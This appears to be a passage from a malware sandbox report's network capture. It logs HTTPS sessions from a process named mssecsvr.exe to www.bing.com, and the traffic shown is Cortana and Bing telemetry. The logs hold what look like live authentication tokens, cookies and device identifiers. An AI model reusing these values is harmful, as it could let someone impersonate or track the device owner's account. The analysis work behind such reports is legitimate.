79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: 16b35c925d1c9b72<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:06:37 UTC	248	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 36 62 33 35 63 39 32 35 64 31 63 39 62 37 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 16b35c925d1c9b72
2022-12-22 09:06:37 UTC	248	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:06:37 UTC	248	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 53 6a 6a 6c 45 68 61 49 6b 65 45 6b 52 7a 68 4c 6f 53 57 70 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iSjjlEhaIkeEkRzhLoSWpA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49858	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:03:28 UTC	1	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Content-type: text/xml X-MSEdge-ExternalExpType: JointCoord X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-PositionerType: Desktop X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-BM-DeviceScale: 100 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-BM-DeviceDimensionsLogical: 1232x1024 X-BM-DeviceDimensions: 1232x1024 X-Agent-DeviceId: 0100748C09001CEA X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3D X-BM-CBT: 1660690402 X-Device-isOptin: true X-Device-Touch: false X-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: www.bing.com Content-Length: 81571 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2
2022-12-22 09:03:28 UTC	4	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 31 34 44 35 41 36 39 41 42 45 46 46 36 39 36 32 30 31 34 35 41 44 30 35 42 46 43 37 36 38 35 38 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 43 30 34 30 39 45 38 34 43 37 45 43 34 44 31 36 41 32 43 44 44 41 34 38 30 35 45 32 44 33 43 34 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 Data Ascii: <ClientInstRequest><CID>14D5A69ABEFF69620145AD05BFC76858</CID><Events><E><T>Event.ClientInst</T><IG>C0409E84C7EC4D16A2CDDA4805E2D3C4</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,Ambie
2022-12-22 09:03:28 UTC	20	OUT	Data Raw: 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 35 36 31 36 36 35 32 33 30 36 33 32 3c 2f 54 53 3e 3c 2f 45 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 39 35 30 38 61 31 34 61 30 37 65 35 34 33 34 62 38 32 66 39 39 31 34 37 31 63 61 36 61 65 34 31 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 6e 74 57 69 64 65 73 63 72 65 65 6e 2c 72 73 31 6d 75 73 69 63 70 72 6f 64 2c 43 6f 72 74 61 6e 61 53 50 41 Data Ascii: }...</D><TS>1561665230632</TS></E><E><T>Event.ClientInst</T><IG>9508a14a07e5434b82f991471ca6ae41</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPA
2022-12-22 09:03:28 UTC	36	OUT	Data Raw: 22 4b 22 3a 22 64 78 69 6f 2b 34 37 77 2b 38 32 66 2b 74 68 72 65 73 68 6f 6c 64 25 32 46 78 6c 73 2e 61 73 70 78 2b 78 6d 6c 68 74 74 70 72 65 71 75 65 73 74 2b 31 64 66 65 2b 31 68 61 30 2b 31 68 61 69 2b 31 6c 34 77 2b 64 78 30 30 2b 64 78 30 31 22 2c 22 46 22 3a 30 7d 2c 22 56 22 3a 22 64 77 78 66 2f 2f 2f 2f 2f 2f 2f 2f 2f 68 69 64 64 65 6e 2f 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 4c 22 3a 22 40 34 2f 30 2f 2f 2f 30 2f 30 2f 31 2f 2f 2f 52 2f 2b 40 34 2f 33 2f 2f 2f 30 2f 30 2f 31 2f 31 67 2f 2f 52 2f 22 2c 22 4e 22 3a 22 40 35 2f 78 2f 2f 40 30 2f 40 37 2f 40 38 2f 33 75 69 2f 40 31 2f 40 35 2f 2d 31 2f 40 35 2f 40 36 2f 40 36 2f 40 36 2b 31 64 66 64 2f 79 2f 2f 40 30 2f 40 37 2f 40 38 2f 33 75 6e 2f 40 31 2f 40 39 2f 2d 31 2f 40 Data Ascii: "K":"dxio+47w+82f+threshold%2Fxls.aspx+xmlhttprequest+1dfe+1ha0+1hai+1l4w+dx00+dx01","F":0},"V":"dwxf/////////hidden/visibilitychange","L":"@4/0///0/0/1///R/+@4/3///0/0/1/1g//R/","N":"@5/x//@0/@7/@8/3ui/@1/@5/-1/@5/@6/@6/@6+1dfd/y//@0/@7/@8/3un/@1/@9/-1/@
2022-12-22 09:03:28 UTC	51	OUT	Data Raw: 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 56 69 65 77 4d 6f 64 65 6c 73 25 32 34 57 53 42 52 6f 6f 74 56 69 65 77 4d 6f 64 65 6c 2f 40 33 2f 31 2f 40 31 2f 32 77 2f 2d 31 2f 32 77 2f 32 78 2f 32 78 2f 32 78 2b 32 78 2f 67 2f 2f 40 30 2f 41 75 74 6f 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 41 67 67 72 65 67 61 74 6f 72 73 25 32 34 46 61 73 74 52 61 6e 6b 4d 6f 64 65 6c 5f 50 52 4f 44 2f 40 33 2f 6a 2f 40 31 2f 32 78 2f 2d 31 2f 32 78 2f 33 67 2f 33 67 2f 33 67 2b 32 78 2f 68 2f 2f 40 30 2f 41 75 74 6f 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 41 67 67 72 65 67 61 74 6f 72 73 25 32 34 46 61 6c 6c 62 61 63 6b 43 6c 61 73 73 69 66 69 65 72 5f 50 52 4f 44 2f 40 33 2f 30 2f 40 31 2f 32 78 2f 2d 31 2f 32 78 2f 32 79 2f 32 79 Data Ascii: Suggest%2520W10%24ViewModels%24WSBRootViewModel/@3/1/@1/2w/-1/2w/2x/2x/2x+2x/g//@0/AutoSuggest%2520W10%24Aggregators%24FastRankModel_PROD/@3/j/@1/2x/-1/2x/3g/3g/3g+2x/h//@0/AutoSuggest%2520W10%24Aggregators%24FallbackClassifier_PROD/@3/0/@1/2x/-1/2x/2y/2y
2022-12-22 09:03:28 UTC	67	OUT	Data Raw: 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 4e 6f 6e 53 75 67 67 65 73 74 69 6f 6e 73 22 2c 22 53 43 22 3a 31 2c 22 44 53 22 3a 5b 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 31 34 2c 22 51 22 3a 22 64 65 66 61 75 22 2c 22 56 61 6c 22 3a 22 53 57 22 2c 22 48 6f 22 3a 30 2c 22 47 72 22 3a 31 31 2c 22 4e 52 22 3a 31 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 2d 31 31 2e 34 34 32 33 36 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 22 3a 7b 22 34 22 3a 31 2c 22 31 30 22 3a 35 2c 22 31 39 22 3a 31 2c 22 32 35 22 3a 31 2c 22 34 32 22 3a 31 2c 22 35 39 22 3a 31 2c 22 31 33 33 22 3a 31 2c 22 31 33 36 22 3a 31 2c 22 31 33 37 22 3a 35 2c 22 32 36 34 22 3a 31 2c 22 32 39 36 22 3a 31 7d 7d 7d 5d 7d 5d 5d 5d Data Ascii: ","Scenario":"NonSuggestions","SC":1,"DS":[{"T":"D.Url","K":114,"Q":"defau","Val":"SW","Ho":0,"Gr":11,"NR":1,"RankerSignals":{"rankingScore":-11.44236,"featureStore":{"4":1,"10":5,"19":1,"25":1,"42":1,"59":1,"133":1,"136":1,"137":5,"264":1,"296":1}}}]}]]]
2022-12-22 09:03:28 UTC	83	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E312DCF623A0427982FB7C4D2950A960 Ref B: FRA31EDGE0212 Ref C: 2022-12-22T09:03:28Z Date: Thu, 22 Dec 2022 09:03:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49932	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:03:33 UTC	84	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Content-type: text/xml X-MSEdge-ExternalExpType: JointCoord X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-PositionerType: Desktop X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-BM-DeviceScale: 100 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-BM-DeviceDimensionsLogical: 1232x1024 X-BM-DeviceDimensions: 1232x1024 X-Agent-DeviceId: 0100748C09001CEA X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3D X-BM-CBT: 1660690402 X-Device-isOptin: true X-Device-Touch: false X-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: www.bing.com Content-Length: 87498 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2
2022-12-22 09:03:33 UTC	86	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 31 34 44 35 41 36 39 41 42 45 46 46 36 39 36 32 30 31 34 35 41 44 30 35 42 46 43 37 36 38 35 38 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 43 30 34 30 39 45 38 34 43 37 45 43 34 44 31 36 41 32 43 44 44 41 34 38 30 35 45 32 44 33 43 34 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 51 46 50 65 72 66 50 69 6e 67 22 2c 22 53 54 22 3a 22 Data Ascii: <ClientInstRequest><CID>14D5A69ABEFF69620145AD05BFC76858</CID><Events><E><T>Event.ClientInst</T><IG>C0409E84C7EC4D16A2CDDA4805E2D3C4</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.QFPerfPing","ST":"
2022-12-22 09:03:33 UTC	102	OUT	Data Raw: 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 6e 74 57 69 64 65 73 63 72 65 65 6e 2c 72 73 31 6d 75 73 69 63 70 72 6f 64 2c 43 6f 72 74 61 6e 61 53 50 41 58 61 6d 6c 48 65 61 64 65 72 22 2c 22 65 72 72 6f 72 54 79 70 65 22 3a 22 53 65 6e 64 54 69 6d 65 64 4f 75 74 22 2c 22 66 61 69 6c 43 6f 75 6e 74 22 3a 31 2c 22 54 53 22 3a 31 36 30 31 34 37 38 39 33 32 37 35 36 2c 22 52 54 53 22 3a 34 30 39 39 35 2c 22 53 45 51 22 3a 35 2c 22 55 54 53 22 3a 31 36 37 31 37 33 32 32 31 32 31 34 30 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 36 30 31 34 37 38 39 33 32 37 35 36 3c 2f 54 53 3e 3c 2f 45 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 50 54 3c 2f 54 3e 3c 49 47 3e 43 30 Data Ascii: /V2/Init","Pivot":"QF","CF":"pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader","errorType":"SendTimedOut","failCount":1,"TS":1601478932756,"RTS":40995,"SEQ":5,"UTS":1671732212140}...</D><TS>1601478932756</TS></E><E><T>Event.CPT</T><IG>C0
2022-12-22 09:03:33 UTC	118	OUT	Data Raw: 54 22 3a 22 50 50 22 7d 7d 7d 5d 2c 22 53 54 41 54 45 22 3a 7b 22 49 6e 64 65 78 65 72 22 3a 22 44 49 22 7d 2c 22 56 22 3a 22 32 22 2c 22 52 46 43 22 3a 7b 7d 2c 22 54 53 22 3a 31 36 30 31 34 37 39 33 37 32 32 35 39 2c 22 52 54 53 22 3a 34 38 30 34 39 38 2c 22 53 45 51 22 3a 32 37 2c 22 55 54 53 22 3a 31 36 37 31 37 33 32 32 31 32 31 34 30 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 36 30 31 34 37 39 33 37 32 32 35 39 3c 2f 54 53 3e 3c 2f 45 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 34 37 63 64 64 34 30 30 30 64 38 37 34 38 38 37 61 62 66 37 66 34 37 37 61 36 64 65 36 66 66 63 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e Data Ascii: T":"PP"}}}],"STATE":{"Indexer":"DI"},"V":"2","RFC":{},"TS":1601479372259,"RTS":480498,"SEQ":27,"UTS":1671732212140}...</D><TS>1601479372259</TS></E><E><T>Event.ClientInst</T><IG>47cdd4000d874887abf7f477a6de6ffc</IG><D><![CDATA[{"CurUrl":"https://www.bing.
2022-12-22 09:03:33 UTC	134	OUT	Data Raw: 72 6e 65 74 22 2c 22 56 61 6c 22 3a 22 53 54 22 2c 22 48 6f 22 3a 32 2c 22 47 72 22 3a 31 2c 22 44 65 76 69 63 65 53 69 67 6e 61 6c 73 22 3a 7b 22 52 61 6e 6b 22 3a 31 32 38 30 30 31 2c 22 50 48 69 74 73 22 3a 22 53 79 73 74 65 6d 2e 50 61 72 73 69 6e 67 4e 61 6d 65 22 2c 22 49 64 22 3a 22 41 41 41 5f 53 65 74 74 69 6e 67 73 5f 47 72 6f 75 70 5f 4e 65 74 77 6f 72 6b 53 74 61 74 75 73 22 2c 22 44 4e 61 6d 65 22 3a 22 43 68 65 63 6b 20 6e 65 74 77 6f 72 6b 20 73 74 61 74 75 73 22 2c 22 4d 44 4e 22 3a 31 7d 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 2d 34 2e 33 31 37 36 36 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 22 3a 7b 22 37 22 3a 31 32 38 30 30 31 2c 22 38 22 3a 31 2c 22 31 30 22 3a 37 2c 22 31 33 Data Ascii: rnet","Val":"ST","Ho":2,"Gr":1,"DeviceSignals":{"Rank":128001,"PHits":"System.ParsingName","Id":"AAA_Settings_Group_NetworkStatus","DName":"Check network status","MDN":1},"RankerSignals":{"rankingScore":-4.31766,"featureStore":{"7":128001,"8":1,"10":7,"13
2022-12-22 09:03:33 UTC	150	OUT	Data Raw: 72 74 61 6e 61 41 63 63 6f 75 6e 74 22 3a 22 33 22 2c 22 73 65 61 72 63 68 42 6f 78 49 6e 54 61 73 6b 62 61 72 22 3a 31 2c 22 74 61 73 6b 62 61 72 4f 72 69 65 6e 74 61 74 69 6f 6e 22 3a 34 2c 22 44 65 76 69 63 65 49 44 22 3a 22 7b 41 32 41 42 35 32 36 41 2d 44 33 38 44 2d 34 46 43 39 2d 38 42 41 30 2d 45 33 34 42 38 44 36 33 35 34 45 38 7d 22 2c 22 49 73 54 6f 75 63 68 22 3a 22 66 61 6c 73 65 22 2c 22 4f 53 53 4b 55 22 3a 22 34 38 22 2c 22 41 70 70 4c 69 66 65 74 69 6d 65 49 44 22 3a 22 35 45 45 32 34 36 43 37 43 31 43 45 34 39 45 35 41 37 37 44 38 38 33 37 37 46 39 31 46 46 32 36 22 2c 22 43 6f 72 74 61 6e 61 4f 70 74 49 6e 22 3a 22 74 72 75 65 22 2c 22 43 6f 72 74 61 6e 61 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 22 43 6f 72 74 61 6e 61 45 78 70 65 72 Data Ascii: rtanaAccount":"3","searchBoxInTaskbar":1,"taskbarOrientation":4,"DeviceID":"{A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}","IsTouch":"false","OSSKU":"48","AppLifetimeID":"5EE246C7C1CE49E5A77D88377F91FF26","CortanaOptIn":"true","CortanaCapabilities":"CortanaExper
2022-12-22 09:03:33 UTC	166	OUT	Data Raw: 2c 22 53 65 72 76 69 63 65 22 3a 22 41 75 74 6f 53 75 67 67 65 73 74 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 4e 6f 6e 53 75 67 67 65 73 74 69 6f 6e 73 22 2c 22 53 43 22 3a 31 2c 22 44 53 22 3a 5b 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 31 34 2c 22 51 22 3a 22 73 65 72 76 69 22 2c 22 56 61 6c 22 3a 22 53 57 22 2c 22 48 6f 22 3a 30 2c 22 47 72 22 3a 31 31 2c 22 4e 52 22 3a 31 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 2d 31 31 2e 34 34 32 33 36 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 22 3a 7b 22 34 22 3a 31 2c 22 37 22 3a 39 35 36 39 2c 22 31 30 22 3a 35 2c 22 31 39 22 3a 31 2c 22 32 35 22 3a 31 2c 22 34 32 22 3a 31 2c 22 35 39 22 3a 31 2c 22 31 33 33 22 3a 31 2c 22 31 33 36 22 3a 31 Data Ascii: ,"Service":"AutoSuggest","Scenario":"NonSuggestions","SC":1,"DS":[{"T":"D.Url","K":114,"Q":"servi","Val":"SW","Ho":0,"Gr":11,"NR":1,"RankerSignals":{"rankingScore":-11.44236,"featureStore":{"4":1,"7":9569,"10":5,"19":1,"25":1,"42":1,"59":1,"133":1,"136":1
2022-12-22 09:03:33 UTC	172	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E65870CAAE5446D8A04660779BFFEB70 Ref B: FRA31EDGE0215 Ref C: 2022-12-22T09:03:33Z Date: Thu, 22 Dec 2022 09:03:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	50035	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:03:38 UTC	172	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Content-type: text/xml X-MSEdge-ExternalExpType: JointCoord X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-PositionerType: Desktop X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-BM-DeviceScale: 100 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-BM-DeviceDimensionsLogical: 1232x1024 X-BM-DeviceDimensions: 1232x1024 X-Agent-DeviceId: 0100748C09001CEA X-Search-RPSToken: 